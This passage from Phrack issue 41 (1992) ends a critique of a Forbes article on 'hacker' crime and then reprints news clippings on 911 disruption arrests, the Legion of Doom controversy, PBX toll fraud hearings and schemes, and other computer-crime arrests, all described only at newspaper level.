- engaged in other activities unreported by the authors, but it appears he is
- simply a run-of-the-mill petty rip-off artist. In fact, the authors do not make
- much of his crimes. Instead, they leap to the conclusion that "hackers" do the
- same thing and sell the numbers "increasingly" to criminals without a shred of
- evidence for the leap. To be sure the reader understands the menace, the
- authors also invoke unsubstantiated images of a hacker/Turkish Mafia connection
- and suggest that during the Gulf war, one hacker was paid "millions" to invade
- a Pentagon computer and retrieve information from a spy satellite (p. 186).
-
- Criminals use computers for crime. Some criminals may purchase numbers from
- others. But the story paints a broader picture, and equates all computer crime
- with "hacking." The authors' logic seems to be that if a crime is committed
- with a computer, it's a hacking crime, and therefore computer crime and
- "hackers" are synonymous. The story ignores the fact that most computer crime
- is an "inside job" and it says nothing about the problem of security and how
- the greatest danger to computer systems is careless users.
-
- One short paragraph near the end mentions the concerns about civil liberties,
- and the next paragraph mentions that EFF was formed to address these concerns.
- However, nothing in the article articulates the bases for these concerns.
- Instead, the piece promotes the "hacker as demon" mystique quite creatively.
-
- The use of terms such as "new hoods on the block," "playground bullies," and
- "hacker hoods" suggests that the purpose of the story was to find facts to fit
- a slant.
-
- In one sense, the authors might be able to claim that some of their "facts"
- were accurate. For example, the "playground bullies" phrase is attributed to
- Cheshire Catalyst. "Gee, *we* didn't say it!" But, they don't identify
- whether it's the original CC or not. The phrase sounds like a term used in
- recent internecine "hacker group" bickering, and if this was the context, it
- hardly describes any new "hacker culture." Even so, the use of the phrase
- would be akin to a critic of the Forbes article referring to it as the product
- of "media whores who are now getting paid for doing what they used to do for
- free," and then applying the term "whores" to the authors because, hey, I
- didn't make up the term, somebody else did, and I'm just reporting (and using
- it as my central metaphor) just the way it was told to me. However, I suspect
- that neither Forbes' author would take kindly to being called a whore because
- of the perception that they prostituted journalistic integrity for the pay-off
- of a sexy story. And this is what's wrong with the article: The authors take
- rumors and catch-phrases, "merely report" the phrases, but then construct
- premises around the phrases *as if* they were true with little (if any)
- evidence. They take an unconfirmed "truth" (where are fact checkers when you
- need them) or an unrelated "fact" (such as an example of insider fraud) and
- generalize from a discrete fact to a larger population. The article is an
- excellent bit of creative writing.
-
-
- Why Does It All Matter?
-
- Computer crime is serious, costly, and must not be tolerated. Rip-off is no
- joke. But, it helps to understand a problem before it can be solved, and lack
- of understanding can lead to policies and laws that are not only ineffective,
- but also a threat to civil liberties. The public should be accurately informed
- of the dangers of computer crime and how it can be prevented. However, little
- will be served by creating demons and falsely attributing to them the sins of
- others. It is bad enough that the meaning" of the term "hacker" has been used
- to apply both to both computer delinquents and creative explorers without also
- having the label extended to include all other forms of computer criminals as
- well.
-
- CPSR, the EFF, CuD, and many, many others have worked, with some success, to
- educate the media about both dangers of computer crime and the dangers of
- inaccurately reporting it and attributing it to "hackers." Some, perhaps most,
- reporters take their work seriously, let the facts speak to them, and at least
- make a good-faith effort not to fit their "facts" into a narrative that--by one
- authors' indication at least -- seems to have been predetermined.
-
- Contrary to billing, there was no evidence in the story, other than
- questionable rumor, of "hacker" connection to organized crime. Yet, this type
- of article has been used by legislators and some law enforcement agents to
- justify a "crackdown" on conventional hackers as if they were the ultimate
- menace to society. Forbes, with a paid circulation of over 735,000 (compared
- to CuDs unpaid circulation of only 40,000), reaches a significant and
- influential population. Hysterical stories create hysterical images, and these
- create hysteria-based laws that threaten the rights of law-abiding users. When
- a problem is defined by irresponsibly produced images and then fed to the
- public, it becomes more difficult to overcome policies and laws that restrict
- rights in cyberspace.
-
- The issue is not whether "hackers" are or are not portrayed favorably. Rather,
- the issue is whether images reinforce a witch-hunt mentality that leads to the
- excesses of Operation Sun Devil, the Steve Jackson Games fiasco, or excessive
- sentences for those who are either law-abiding or are set up as scapegoats.
- The danger of the Forbes article is that it contributes to the persecution of
- those who are stigmatized not so much for their acts, but rather for the signs
- they bear.
- _______________________________________________________________________________
- ==Phrack Inc.==
-
- Volume Four, Issue Forty-One, File 13 of 13
-
- PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
- PWN PWN
- PWN Phrack World News PWN
- PWN PWN
- PWN Issue 41 / Part 3 of 3 PWN
- PWN PWN
- PWN Compiled by Datastream Cowboy PWN
- PWN PWN
- PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
-
-
- Boy, 15, Arrested After 911 Paralyzed By Computer Hacker October 7, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Caroline Mallan (The Toronto Star)(Page A22)
-
- A 15-year-old boy has been arrested after a hacker pulling computer pranks
- paralyzed Metro's emergency 911 service.
-
- Police with Metro's major crime unit investigated the origin of countless calls
- placed to the 911 service from mid-July through last month.
-
- The calls were routed to emergency services in the Etobicoke area, said
- Detective Willie Johnston, who led the investigation.
-
- Phony medical emergency calls were reported and police, fire and ambulance
- crews were dispatched on false alarms. On one occasion, the computer hacker
- managed to tie up the entire 911 service in Metro -- making it unavailable for
- true emergencies.
-
- Police were not sure last night how long the system was shut down for but
- Johnston said the period was considerable.
-
- Staff Sergeant Mike Sale warned hackers that phony calls can be traced.
-
- "A criminal abuse of the 911 emergency system will result in a criminal
- investigation and will result in an arrest," Sale said, adding police had only
- been investigating this hacker for a few weeks before they came up with a
- suspect.
-
- Bell Canada investigators helped police to trace the origin of the calls and
- officers yesterday arrested a teen while he was in his Grade 11 class at a
- North York high school.
-
- Two computers were seized from the boy's home and will be sent to Ottawa to be
- analyzed.
-
- Johnston said police are concerned that other hackers may also be able to halt
- the 911 service, since the computer technology used was fairly basic, although
- the process of rerouting the calls from a home to the Etobicoke emergency lines
- was very complex.
-
- The calls went via computer modem through two separate phone systems in major
- U.S. cities before being sent back to Canada, Johnston explained.
-
- The suspect, who cannot be named under the Young Offenders Act, is charged with
- theft of telecommunications, 24 counts of mischief and 10 counts of conveying
- false messages.
-
- He was released from custody and will appear in North York youth court November
- 6, police said.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Police Say They've Got Hackers' Number October 8, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by John Deverell (The Toronto Star)(Page A8)
-
- Hackers, take note. Metro police and Ma Bell are going to get you.
-
- A young North York computer freak accused of launching 10 false medical alerts
- to 911 this summer may have learned -- the hard way -- that his telephone
- tricks weren't beating the pros.
-
- Police arrived with a search warrant at the home of the 15-year-old, arrested
- him and carted away his computer.
-
- He's charged with 10 counts of conveying false messages, 24 counts of mischief,
- and theft of telecommunications.
-
- Inspector Bill Holdridge, of 911 emergency services, said the false alarms in
- July and August never posed any technical problem to his switchboard but
- resulted in wild goose chases for the police, fire and ambulance services.
-
- "Those resources weren't available for real alarms, which could have been a
- serious problem," Holdridge said.
-
- The 911 service, quartered at 590 Jarvis Street, gets about 7,000 calls a day,
- of which 30% warrant some kind of emergency response.
-
- Normally, a computerized tracing system takes only seconds to provide the
- address and number of the telephone from which a call originates -- unless the
- point of origin has been somehow disguised.
-
- Apparently the 911 prankster got into the telephone system illegally and routed
- his calls through several U.S. networks before bringing them back to Toronto.
-
- Detective Willie Johnston said the boy's parents were stunned when police
- arrived. "They really didn't have a clue what was going on," said Johnston.
-
- The false emergencies reported were nowhere near the accused boy's home.
- "Without condoning it, you could understand it if he were sitting around the
- corner watching the flashing lights," said Johnston. "But they were miles
- away. It defies logic."
-
- Neither Johnston nor Holdridge would explain how they and Bell security finally
- traced the false alarms. "That might just make other hackers try to figure out
- another way," Holdridge said.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Hackers Targeted 911 Systems, Police Say October 10, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Taken from United Press International
-
- Authorities expect to make more arrests after penetrating a loose network of
- computer hackers called the "Legion of Doom" they say tapped into corporate
- phone lines to call 911 systems nationwide with the intent of disrupting
- emergency services.
-
- Prosecutors from Virginia, New Jersey and Maryland -- in conjunction with
- investigators from two telephone companies -- traced some of the hackers and
- closed in on three homes in two states.
-
- A 23-year-old Newark, New Jersey man was arrested early on October 9th. He
- faces several charges, including fraud. Other arrests are expected in two
- Maryland locations.
-
- The suspect, known by several aliases and identified by authorities only as
- Maverick, told investigators the group's intent was "to attempt to penetrate
- the 911 computer systems and infect them with viruses to cause havoc," said
- Captain James Bourque of the Chesterfield County police in Virginia.
-
- The probe is just beginning, according to Bourque. "Quite honestly, I think
- it's only the tip of the iceberg," he said.
-
- The hackers first penetrate the phone lines of large companies or pay phones,
- then use those connections to call 911 lines, Bourque said. The hackers
- usually make conference calls to other 911 services in other cities, tying up
- communications in several locations simultaneously.
-
- "One time we were linked up with Toronto and Los Angeles jurisdictions,"
- Bourque said. "And none of us could disconnect."
-
- Sometimes as many five hackers would be on the line and would make false calls
- for help. Communications officers, unable to stop the calls, would have to
- listen, then try to persuade the officers in other locales "that the call
- wasn't real," Bourque said.
-
- "Obviously, there's a real potential for disastrous consequences," he said.
-
- One phone bill charged to a company in Minnesota indicated the scope of the
- problem. The company discovered in a 30-day period that it had been charged
- with more than $100,000 in phone calls generated by the hackers, according to
- Bourque.
-
- "I'm sure there are a multitude of other jurisdictions across the country
- having the same problems," Bourque said.
-
- People identifying themselves as members of the "Legion of Doom" -- which also
- is the name of a pro wresting team -- have called a Richmond, Virginia
- television station and ABC in New York in an attempt to get publicity, Bourque
- said.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- More On 911 "Legion Of Doom" Hacking Case October 20, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Barbara E. McMullen & John F. McMullen (Newsbytes)
-
- NEW YORK CITY -- In a discussion with Newsbytes, Sgt. Kurt Leonard of the
- Chesterfield County, Virginia Police Department has disclosed further
- information concerning the on-going investigation of alleged 911 disruption
- throughout the eastern seaboard of the United States by individuals purporting
- to be members of the hacker group "The Legion of Doom" (LOD).
-
- Leonard identified the individual arrested in Newark, New Jersey, previously
- referred to only as "Maverick," as Scott Maverick, 23. Maverick has been
- charged with terroristic threats, obstruction of a government function, and
- illegal access to a computer. He is presently out on bail.
-
- Leonard said that David Pluchino, 22, was charged to the same counts as
- Maverick and an additional count of the possession of burglary tools. Leonard
- said that Pluchino, the subject of a 1990 Secret Service "search and seizure"
- action under the still on-going "Operation SunDevil" investigation," possessed
- information linking him with members of the Legion of Doom.
-
- The Legion of Doom connection has become the subject of controversy within the
- online community. Although Maverick has been quoted as saying that he is a
- member of the group and that the group's intent was "to attempt to penetrate
- the 911 computer systems and inflect them with viruses to cause havoc," members
- of the group have disavowed any connection with those arrested.
-
- "Lex Luthor," one of the original members of the group, told Newsbytes when the
- initial report of the arrests became public: "As far as I am concerned the LOD
- has been dead for a couple of years, never to be revived. Maverick was never
- in LOD. There have been 2 lists of members (one in Phrack and another in the
- LOD tj) and those lists are the final word on membership."
-
- He added, "We obviously cannot prevent copy-cats from saying they are in LOD.
- When there was an LOD, our goals were to explore and leave systems as we found
- them. The goals were to expose security flaws so they could be fixed before
- REAL criminals and vandals such as this Maverick character could do damage. If
- this Maverick character did indeed disrupt E911 service he should be not only
- be charged with computer trespassing but also attempted murder. 911 is serious
- business."
-
- Lex Luthor's comments, made before the names of the arrested were released,
- were echoed by Chris Goggans, aka "Erik Bloodaxe," and Mark Abene, aka "Phiber
- Optik," both ex-LOD members, and by Craig Neidorf who chronicled the membership
- of LOD in his electronic publication "Phrack."
-
- When the names of the arrested became public, Newsbytes again contacted Lex
- Luthor to see if the names were familiar. Luthor replied: "Can't add anything,
- I never heard of them."
-
- Phiber Optik, a New York resident, told Newsbytes that he remembered Pluchino
- as a person that ran a computer "chat" system called "Interchat" based in New
- Jersey. "They never were LOD members and Pluchino was not known as a computer
- hacker. It sounds as though they were LOD wanabees who are now, by going to
- jail, going to get the attention they desire," he said.
-
- A law enforcement official, familiar with the SunDevil investigation of
- Pluchino, agreed with Phiber, saying, "There was no indication of any
- connection with the Legion of Doom." The official, speaking under the
- condition of anonymity, also told Newsbytes that the SunDevil investigation of
- Pluchino is still proceeding and, as such, no comment can be made.
-
- Leonard also told Newsbytes that the investigation has been a joint effort of
- New Jersey, Maryland, and Virginia police departments and said that, in
- conjunction with the October 9th 2:00 AM arrests of Pluchino and Maverick, a
- simultaneous "search and seizure" operation was carried out at the Hanover,
- Maryland home of Zohar Shif, aka "Zeke," a 23 year-old who had also been the
- subject of a SunDevil search and seizure.
-
- Leonard also said that, in addition to computers taken from Pluchino, material
- was found "establishing a link to the Legion of Doom." Told of the comments by
- LOD members that the group did not exist anymore, Leonard said "While the
- original members may have gone on to other things, these people say they are
- the LOD and some of them have direct connection to LOD members and have LOD
- materials."
-
- Asked by Newsbytes to comment on Leonard's comments, Phiber Optik said "The
- material he's referring to is probably text files that have been floating
- around BBS's for years, Just because someone has downloaded the files certainly
- doesn't mean that they are or ever were connected with LOD."
- _______________________________________________________________________________
-
- Complaints On Toll Fraud Aired at FCC En Banc Hearing October 13, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Art Brodsky (Communications Daily)(Page 1)
-
- Customers of PBX manufacturers told the Federal Communications Commission (FCC)
- they shouldn't be liable for toll fraud losses incurred because vendors never
- told them of capabilities of their equipment that left companies open to
- electronic theft. Their case was buttressed by one of country's leading toll-
- fraud investigators, who told day-long en banc hearing that customers shouldn't
- have to pay if they're victimized. Donald Delaney of the New York State Police
- said toll fraud "is the only crime I know where the victims are held liable."
- Toll fraud losses have been estimated to run into billions of dollars.
-
- Commission's look at toll fraud came in context of what FCC can do to prevent
- or lessen problem. Comr. Marshall said Commission's job would be to apportion
- liability between vendors and customers. Comr. Duggan, who has been leader on
- issue at Commission, said toll fraud was "hidden degenerative disease on the
- body of business." He focused on insurance solution to problem, along with
- sharing of liability. There are cases pending at FCC filed by AT&T customers
- that deal with sharing of liability, and whether common carriers are protected
- by tariffs from paying customers for losses. Witnesses told Commission it was
- hard to find any law enforcement agency interested in problem, from local
- police to FBI, in addition to difficulties with vendors. U.S. Secret Service
- has statutory responsibility over toll fraud, said attorney William Cook, who
- testified in afternoon session. There was general agreement that more customer
- education was needed to prevent fraud, policy endorsed by Northern Telecom,
- which has active customer education program.
-
- AT&T came in for particular criticism in morning session as users said company
- was insensitive to toll fraud problems. Thomas Mara, executive vice-president
- Leucadia National Corp., whose company suffered $300,000 in toll fraud, said he
- "had a hell of a time getting anybody at AT&T to pay attention" to problems his
- company was encountering. Mara said his company saw level of 800 calls rise to
- 10,448 from 100. He said AT&T was supposed to notify users if there was any
- "dramatic increase in volume, yet we were not notified of a thousandfold
- increase in 800 number usage nor were we informed of an increase from a few
- hours a month in international calls to thousands of hours by AT&T, only after
- receiving our bills." Investigation found that 800 number connecting Rolm
- switch to company's voice mail was hackers' entry method, Mara said.
-
- Clearly angry with AT&T, Mara said he has "a feeling they use it as a profit
- center." Lawrence Gessini, telecommunications director for Agway Corp. of
- Syracuse, agreed, saying: "Toll fraud should not become a rationale for higher
- profits for carriers." He told FCC that new programs introduced by long
- distance carriers won't solve problem because of constraints, limitations and
- expense.
-
- Speaking for International Communications Association (ICA) user group, Gessini
- said problems occur because new technologies allow more types of fraud and
- because "old tariff concepts" that limit common carrier liability "distort
- market incentives." Vendors, he said, are "generally lackadaisical and are
- slow to correct even known problems in their hardware, firmware and software,"
- and give low priority to complaints. ICA advocated 5 principles including FCC
- inquiry into fraud, creation of advisory committee and willingness of
- Commission to protect users.
-
- Geoffrey Williams, industry consultant and telecommunications manager for
- IOMEGA Corp., said AT&T has been "most notable" for asking for restitution,
- while Sprint and MCI are more lenient. MCI doesn't charge users for first
- hacking incident, he said, but after that users are on their own.
-
- AT&T defended itself in afternoon session, when International Collections Dist.
- Manager Peter Coulter rejected users' accusations, saying company had increased
- customer education program "dramatically" since last year. He insisted that
- AT&T is "very concerned" by toll fraud: "Contrary to what some people want to
- believe, no long distance carrier is making a profit off toll fraud." He said
- AT&T had 6,000 customers attend equipment security seminars in 1991, but that
- number had been exceeded in first 6 months of 1992. He said results of
- increased education program were "only preliminary" but his group was receiving
- "a lot more accommodations" than complaints from customers.
-
- Coulter, while never admitting that company should shoulder any financial
- liability, admitted that "things are different now" as to how AT&T approaches
- toll fraud problem. He said that within AT&T it used to be hardware division
- vs. service division. "The hardware guys said it was a service problem, the
- service guys said it was the hardware's fault," Coulter said. But now both
- divisions are "working together on the problem . . . we're talking to each
- other."
-
- Delaney of N.Y. state police gave the FCC a picture of the toll fraud situation
- dominated by as few as 15 practitioners, most of whom gain illegal entry to
- telephone systems simply by dialing numbers for hours on end. Those so-called
- "finger hackers," rather than computer hackers, are responsible for 90% of
- fraud, he said, telling Commission that equipment vendors should be held
- accountable for fraud. Most fraudulent calls go to Pakistan, Colombia and
- Dominican Republic, he said.
-
- Delaney pointed out practical objection to further vendor education problem,
- telling commissioners that for vendor to engage in education would also be to
- admit there could be problem with equipment security, something sales people
- don't want to do. He said some customers had been sold systems and didn't know
- they had capability for remote access -- means used by hackers to gain entry.
- _______________________________________________________________________________
-
- Hanging Up On Hackers October 12, 1992
- ~~~~~~~~~~~~~~~~~~~~~
- by Miriam Leuchter (Crain's New York Business)(Page 21)
-
- "Thieves tap phone systems, but business cuts the line."
-
- Ron Hanley suspected a technical glitch when his company's telephone bill
- listed an unusually large number of calls lasting four seconds to its 800-
- number from New York City. But the executive at Dataproducts New England in
- Wallingford, Connecticut didn't lose sleep over the problem -- until he got a
- call two months later from the security department at American Telephone &
- Telegraph Co.
-
- Dataproducts had been hacked. Two days after that, Mr. Hanley got a bill
- confirming the bad news: In one 24-hour period, street-corner phone users in
- New York had made some 2,000 calls to the Caribbean on the company's line,
- ringing up about $50,000 in tolls.
-
- Dataproducts is not alone. Estimates of the cost of telecommunications fraud
- in the United States each year run from $1 billion to as much as $9 billion.
- According to John J. Haugh, editor of Toll Fraud and Telabuse and chairman of a
- Portland, Oregon consulting firm, losses reached $4 billion in 1991 and are
- expected to climb 30% in 1992.
-
- Some 35,000 businesses and other users -- such as foundations and government
- agencies -- will be hit this year. In the first six months, Mr. Haugh says,
- more than 900 New York City companies were victims of telephone-related fraud.
-
- "If you have a PBX system or calling cards or voice mail, you are vulnerable,
- exceedingly vulnerable," says Peggy Snyder, executive director of the
- Communications Fraud Control Association, a national information clearinghouse
- based in Washington. "As technology gets more user-friendly, the opportunity
- to commit a crime is much greater."
-
- Armed with computers, modems and sometimes automatic dialers or random-number
- generating software, high-technology thieves can use your telephone system as
- if it is their own -- without having to pay the tolls. The series of very
- short calls Mr. Hanley spotted on one phone bill should have tipped off his
- 800-number service provider -- which he had alerted when he spotted the pattern
- -- that hackers were trying to break into his system.
-
- Who are these hackers -- a term used to describe someone who uses a telephone
- or computer to obtain unauthorized access to other computers? Many are
- teenagers or young adults out to demonstrate their computer skills and make
- some mischief. Five young New Yorkers are awaiting trial in federal court on
- unauthorized access and interception of electronic communications charges in
- one widely publicized telephone fraud case.
-
- A much smaller proportion are more serious criminals: drug dealers, money
- launderers and the like, who don't want their calls traced. In one case, Ms.
- Snyder cites a prostitution ring that employed unused voice mail extensions at
- one company to leave and receive messages from clients.
-
- Many hackers have connections to call-sell operators who set up shop at phone
- booths, primarily in poorer immigrant neighborhoods in cities from New York to
- Los Angeles. For a flat fee -- the going rate is $10, according to one source
- -- callers can phone anywhere in the world and talk as long as they want. The
- hawker at the phone booth pockets the cash and someone else pays the bill.
-
- Perhaps 15 to 20 so-called finger hackers (who crack authorization codes by
- hand dialing) distribute information to call-sell operators at thousands of
- locations in New York. According to Don Delaney, a senior investigator for the
- New York State Police, the bulk of such calls from phone booths in the city go
- to the Dominican Republic, Pakistan and Colombia.
-
- Hackers may use more than technical skill to gain the access they want.
- Sometimes they practice "social engineering" -- talking a company's employees
- into divulging information about the telephone system. Or they manage a
- credible imitation of an employee, pretending to be an employee.
-
- In one of the latest schemes, a fraudulent caller gets into a company's system
- and asks the switchboard operator to connect him with an outside operator. The
- switchboard assumes the caller is an employee who wants to make a personal call
- on his own calling card.
-
- Instead, he uses a stolen or hacked calling card number. The fraud goes
- undetected until the card's owner reports the unauthorized use to his long-
- distance carrier. If the cardholder refuses to pay the charges, the phone
- company traces the calls to the business from which they were placed. Because
- it looks as if the call came from the company, it is often held liable for the
- charge.
-
- In another new twist, a hacker gains access to an unused voice mail extension
- at a company, or takes over someone's line at night or while the regular user
- is on vacation. He changes the recorded announcement to say, "Operator, this
- number will accept all collect and third-party calls." Then the hacker -- or
- anyone else -- can telephone anywhere in the world and bill the charges to that
- extension.
-
- Sometimes the fraud is much more organized and sophisticated, however. Robert
- Rasor, special agent in charge of the financial crime division of the U.S.
- Secret Service, gives an example of a three-way calling scheme in which hackers
- tap into a phone system in the United States and set up a separate network that
- allows people in other countries to call each other directly. "The
- Palestinians are one of the more prominent groups" running these sorts of
- fraud, he says.
-
- But no matter who the end user is, businesses like Dataproducts end up footing
- the bill. Personal users are generally not held liable for the unauthorized
- use of their calling card numbers. Under current regulation, a business is
- responsible for all calls that go through its equipment, whether or not those
- calls originated at the company.
-
- This hard fact rankles Mr. Hanley. "It's totally frustrating and almost
- unbelievable that you're responsible for this bill. It's really frightening
- for any company."
-
- Dataproducts's liability was relatively small compared with the $168,000
- average Mr. Haugh calculated in a study he made last year. It could have been
- worse yet.
-
- "The largest case I've ever seen in the metropolitan region was a company that
- lost almost $1 million within 30 days," says Alan Brill, managing director of
- the New York corporate security firm Kroll Associates Inc.
-
- "It was a double whammy, because even though their long-distance carrier saw a
- suspicious pattern of calls and blocked access to those area codes, the company
- didn't know its PBX system would automatically switch to another carrier if
- calls couldn't go through," Mr. Brill says. "So the company got a bill for
- $300,000 from its primary carrier and a $600,000 bill from the secondary
- carrier."
-
- Both AT&T and Sprint Corp. offer service plans that limit liability to $25,000
- per fraud episode for their business customers. Mr. Brill advises companies to
- evaluate the cost-effectiveness of these plans in great detail, because in
- order to be eligible for coverage companies must take certain steps to minimize
- their risk. "If you reduce your risk significantly, you may not need the
- coverage," he says.
-
- The plans require customers to respond to a problem in as little as two hours
- after notification of unauthorized calls. Doing so will stem your losses in
- any event. "You also have to think about how you're staffed," adds Mr. Brill.
- "Can you act that fast?"
- _______________________________________________________________________________
-
- PWN Quicknotes
- ~~~~~~~~~~~~~~
-
- 1. HACKER PARTY BUSTED (by Robert Burg, Gannett, 11/3/92) -- "PumpCon Popped!"
- -- WHITE PLAINS, New York -- Police say a Halloween party they broke up
- Sunday (11/1/92) was more than just a rowdy party - it also was a computer
- hacker party.
-
- Three men were charged with unauthorized use of a computer and attempting
- computer trespass. A fourth man was arrested on an outstanding warrant
- involving violating probation on a charge of computer fraud in Arizona,
- Greenburgh Detective Lt. Cornelius Sullivan said.
-
- Security officers at the Westchester Marriott contacted police after
- noticing an unusual number of people entering and leaving one room. Police
- said that when they arrived, there were 21 people inside and computers
- hooked up to telephone lines. Police said they also found telephone credit
- cards that did not belong to any of the people present.
-
- The three charged with unauthorized use of a computer and attempted
- computer trespass were Randy Sigman, 40, of Newington, Connecticut; Ronald
- G. Pinz, 21, of Wallingford, Connecticut and Byron Woodard, 18, of
- Woonsocket, Rhode Island.
-
- They were being held at the Westchester County Jail in Valhalla pending
- arraignment.
-
- The man charged on the warrant, Jason Brittain, 22, of Tucson, Arizona, was
- being held without bail pending arraignment.
-
- The Westchester County District Attorney frauds division seized the
- computer hardware, software, and other electrical equipment.
-
- Sullivan said the party-goers heard about the party through computer
- bulletin boards.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- 2. COMPUTER ACCESS ARRESTS IN NEW YORK (Barbara E. McMullen & John F.
- McMullen, Newsbytes, 11/3/92) -- GREENBURGH, NEW YORK -- The Greenburgh,
- New York Police Department has announced the arrest of three individuals,
- Randy P. Sigman, 40; Ronald G. Pinz, Jr, 21; and Byron J. Woodard, 18 for
- the alleged crimes of Unauthorized Use Of A Computer and Attempted Computer
- Trespass, both misdemeanors. Also arrested was Jason A. Brittain, 22 in
- satisfaction of a State of Arizona Fugitive From Justice warrant.
-
- The arrests took place in the midst of an "OctoberCon" or "PumpCon" party
- billed as a "hacker get-together" at the Marriott Courtyard Hotel in
- Greenburgh. The arrests were made at approximately 4:00 AM on Sunday
- morning, November 1st. The three defendants arrested for computer crimes
- were granted $1,000 bail and will be arraigned on Friday, November 6th.
-
- Newsbytes sources said that the get together, which had attracted up to
- sixty people, had dwindled to approximately twenty-five when, at 10:00
- Saturday night, the police, in response to noise complaints arrived and
- allegedly found computers in use accessing systems over telephone lines.
- The police held the twenty-five for questioning and called in Westchester
- County Assistant District Attorney Kenneth Citarella, a prosecutor versed
- in computer crime, for assistance. During the questioning period, the
- information on Brittain as a fugitive from Arizona was obtained and at 4:00
- the three alleged criminal trespassers and Brittain were charged.
-
- Both Lt. DeCarlo of the Greenburgh police and Citarella told Newsbytes
- that the investigation is continuing and that no further information is
- available at this time.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- 3. U.S. PRISON SENTENCE FOR COMPUTER HACKER (New York Law Journal, 10/15/92,
- Page 7) -- A Brooklyn man was sentenced yesterday to eight months in prison
- for buying passwords from a computer hacker group known as the "masters of
- deception" [MOD] for resale to others seeking access to confidential credit
- reports.
-
- Morton Rosenfeld, 21, received the sentence in federal court in Manhattan
- after pleading guilty in June to obtaining the unauthorized access devices
- to computer data bases operated by TRW Information Services and other
- credit reporting companies.
-
- The sentence, imposed by Southern District Judge Shirley Wohl Kram, is
- believed to be among few prison terms levied for computer-related offenses.
-
- Meanwhile, charges are pending against Mr. Rosenfeld's alleged source: the
- five members of the masters of deception, young men in their teens and
- 20's. The five were accused in July of breaking into computer systems run
- by credit reporting services, telephone companies and educational
- institutions.
-
- For more information about the indictment and case against MOD, see ALL the
- articles in PWN 40-2.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- 4. 2ND ONLINE LEGAL GUIDE RELEASED (by Barbara E. McMullen & John F. McMullen,
- Newsbytes, 10/13/92) -- NEW YORK CITY -- PC Information Group has announced
- the release of SysLaw, Second Edition: The Legal Guide for Online Service
- Providers by attorneys Lance Rose and Jonathan Wallace.
-
- According to the company, "Syslaw provides BBS sysops, network moderators
- and other online service providers with basic information on their rights
- and responsibilities, in a form that non-lawyers can easily understand."
-
- Subjects covered by the book include the First Amendment, copyrights and
- trademarks, the user agreement, negligence, privacy, criminal law, searches
- and seizures, viruses and adult materials. The company claims that SysLaw
- not only explains the laws, but that it gives detailed advice enabling
- system operators to create the desired balance of user services, freedom,
- and protection from risk on their systems."
-
- Co-author Lance Rose told Newsbytes: "In the four years since the
- publication of the first edition, the electronic community has become
- alerted to the first amendment dimensions of the on-line community."
-
- "The first amendment has profound implications to the on-line community
- both to liberate providers and users of on-line systems and to protect them
- from undue legal harassment. There has, in the last few years, been a lot
- of law enforcement activity effecting bulletin board systems, including the
- Steve Jackson and Craig Neidorf/Phrack cases," he said.
-
- Rose continued, "The new edition incorporates these new developments as
- well as containing new information concerning on-line property rights, user
- agreements, sysop liabilities, viruses and adult material contained on
- online systems."
-
- SysLaw is available from PC Information Group, 1126 East Broadway, Winona,
- MN 55987 (800-321-8285 or 507-452-2824) at a price of $34.95 plus $3.00
- shipping and (if applicable) sales tax.
-
- Press Contact: Brian Blackledge, PC Information Group, 800-321-8285
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- 5. YET ANOTHER BOOK ABOUT THE COMPUTER UNDERGROUND (The Daily Telegraph,
- 12/14/92, Page 25) -- Approaching Zero: Data Crime and the Computer
- Underworld by Bryan Clough and Paul Mungo (Faber & Faber, L14.99) -- A look
- at the world of Fry Guy, Control C, Captain Zap and other hackers to blame
- for the viruses, logic bombs and Trojan horses in the world's personal
- computer networks.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- 6. HONOR STUDENT NABBED IN COMPUTER FRAUD (The Washington Times, 11/9/92, Page
- A6) -- BROOKSVILLE, FLA.-- Three high school honor students have been
- accused of stealing tens of thousands of dollars worth of long-distance
- calls as computer hackers.
-
- Brian McGrogan, 16, and Edmund Padgett, 17, who were charged as adults, and
- a 15-year-old allegedly tapped private telephone systems and dialed into an
- international hacking network. One company's loss was $36,000.
-
- "These are very sharp, intelligent kids," Hernando County sheriff's Captain
- Richard Nugent said after the arrests. "It's a game to them. It's a
- sport."
-
- Some calls were made to computer bulletin boards in the United Kingdom,
- Germany and Canada, where a loose network of hackers allegedly shared
- information about how to obtain computer data and access information.
- Arrests in the case also were made in New York and Virginia, Captain Nugent
- said.
-
- The two older boys were booked on charges of organized fraud and violation
- of intellectual property. The third boy was released to his parents.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- 7. A CORDLESS PHONE THAT CAN THWART EAVESDROPPERS (Business Week, 8/3/92) --
- To industrial spies and other snoops, the millions of cordless phones in
- use are goldmines of information. Conversations can be plucked out of the
- air by means of a police type scanner, and with increasing ease. The
- latest no-cord technologies offers clearer sound and longer ranges -- up to
- half a mile. That's because the new phones broadcast signals at 900 MHz,
- or 20 times the frequency of current models.
-
- Cincinnati Microwave, Inc. (the radar detector people) figures executives
- and consumers will pay a small premium for cordless privacy. The company
- has developed a phone, to be marketed in October by its Escort division for
- about $300, that thwarts eavesdroppers with "spread spectrum" technology,
- which is similar to the encryption method that the military uses in secure
- radios. The signals between the handset and base unit are digitized,
- making them unintelligible to humans, and the transmission randomly hops
- among various frequencies within the 900 MHz spectrum. To keep the cost
